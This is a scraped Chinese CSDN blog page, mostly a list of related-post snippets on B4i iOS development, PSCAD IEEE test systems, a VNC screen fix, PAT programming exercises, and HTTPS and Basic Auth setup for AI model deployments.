Basic4IOS (B4I)--Ω578867473 Basic for IOS B4i 提供了一组用于开发原生 iOS 应用程序的工具。它遵循 Android 操作系统编程的 b4a 代码模型。这允许您重用代码来创建适用于 iOS 和 Android 的应用程序。 Basic4Ios 是一种流行的 iOS 应用程序开发工具,可用于许多其他产品,例如 B4A。这意味着您可以在不同平台上以最少的努力创建私人程序。 B4i – 开发原生 iOS 应用程序的简单方法 B4i 是原生 iOS 应用程序

控件与插件之大全 510

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

PAT Basic Level B1002 写出这个数

PAT Basic Level B1002 写出这个数 题目描述 读入一个正整数 n,计算其各位数字之和,用汉语拼音写出和的每一位数字。 输入格式 每个测试输入包含 1 个测试用例,即给出自然数 n 的值。这里保证 n 小于 10^100。 输出格式 在一行内输出 n 的各位数字之和的每一位,拼音数字间有 1 空格,但一行中最后一个拼音数字后没有空格。 输入样例 1234567890987654321123456789 输出样例 yi san wu 代码 #include <stdio.h>

qq_42581934的博客 204

Ostrakon-VL-8B模型部署实战:HTTPS加密与Basic Auth权限控制

在AI模型服务化部署中,保障通信安全与访问控制是生产环境的核心需求。HTTPS协议通过SSL/TLS加密,确保客户端与服务器之间的数据传输不被窃听或篡改,这是构建可信API服务的基础。其原理是基于非对称加密交换密钥,建立安全的通信信道。在实现层面,通常使用Nginx作为反向代理来处理TLS终止,将加密流量解密后转发给后端的应用服务(如FastAPI)。这种架构分离了网络层安全与应用层逻辑,便于运维和扩展。结合Basic Auth基础认证,可以在HTTP协议层实现简单的用户名密码验证,为内部系统或初步对外的A

384

PAT (Basic Level)1016 部分A+B

正整数 AAA 的“DAD_AD​A​​(为 1 位整数)部分”定义为由 AAA 中所有 DAD_AD​A​​ 组成的新整数 PAP_AP​A​​。例如:给定 A=3862767A = 3862767A=3862767,DA=6D_A = 6D​A​​=6,则 AAA 的“6 部分”PAP_AP​A​​ 是 66,因为 AAA 中有 2 个 6。 现给定 AAA、DAD_AD​A​​、BBB、D...

qqchanmingdexiaji的博客 221

PAT (Basic Level) Practice 1017 A除以B

PAT刷题记录分享 - PAT1017

KaiYingLi的博客 309

Ostrakon-VL-8B部署教程:HTTPS安全访问配置+Basic Auth权限控制

本文介绍了如何在星图GPU平台上自动化部署专为餐饮零售(FSRS)场景优化的开源多模态大模型Ostrakon-VL-8B,并配置HTTPS安全访问与Basic Auth权限控制。通过该镜像,用户可快速搭建一个安全的AI应用环境,典型应用场景包括自动化分析店铺货架图像、识别商品及检查陈列合规性,从而提升零售运营效率。

RubyWolf84的博客 702

Janus-Pro-7B镜像免配置:支持HTTPS反向代理与Basic Auth安全加固

本文介绍了如何在星图GPU平台上自动化部署Janus-Pro-7B镜像,快速搭建一个开箱即用的多模态AI服务。该镜像预置了HTTPS反向代理与基础身份验证,安全便捷。用户可利用其统一的多模态能力,轻松实现诸如分析产品图片并生成营销文案等典型应用场景。

weixin_42502040的博客 956

PAT (Basic Level) Practice 1011 A+B 和 C

PAT刷题记录分享 - PAT1011

KaiYingLi的博客 411

PAT (Basic Level) Practice 乙级 1017 A除以B

PAT (Basic Level) Practice 乙级 1017 本题要求计算 A/B,其中 A 是不超过 1000 位的正整数,B 是 1 位正整数。你需要输出商数 Q 和余数 R,使得 A=B×Q+R 成立。 输入格式: 输入在一行中依次给出 A 和 B,中间以 1 空格分隔。 输出格式: 在一行中依次输出 Q 和 R,中间以 1 空格分隔。 输入样例: 12345678905098765...

ZQYnn's blog 206
上一篇: BASIC 6a
下一篇: basic_net_1
errorlife
博客等级 码龄21年 0粉丝 2原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值